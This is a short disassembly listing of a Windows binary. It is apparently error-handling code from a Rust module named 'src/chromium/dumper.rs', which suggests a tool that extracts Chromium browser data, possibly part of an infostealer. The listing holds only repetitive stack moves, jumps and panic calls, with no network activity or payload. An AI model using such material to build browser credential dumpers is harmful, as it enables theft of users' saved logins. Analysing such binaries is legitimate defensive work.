lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
mov rax, qword [rsp + 0xd8]
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0xd0]
mov qword [r8], rsi
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
mov rax, qword [rsp + 0xd8]
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0x40]
mov qword [r8], rsi
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
mov rax, qword [rsp + 0x48]
lea r8, [rsp + 0x1e0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0xd0]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
mov rax, qword [rsp + 0xd8]
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea rax, str.srcchromiumdumper.rs
mov ecx, 5
mov rdx, r8
mov r8, rax
call fcn.1403340b0
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.h14_
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea r8, [rsp + 0xd0]
mov qword [r8], rdx
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
int3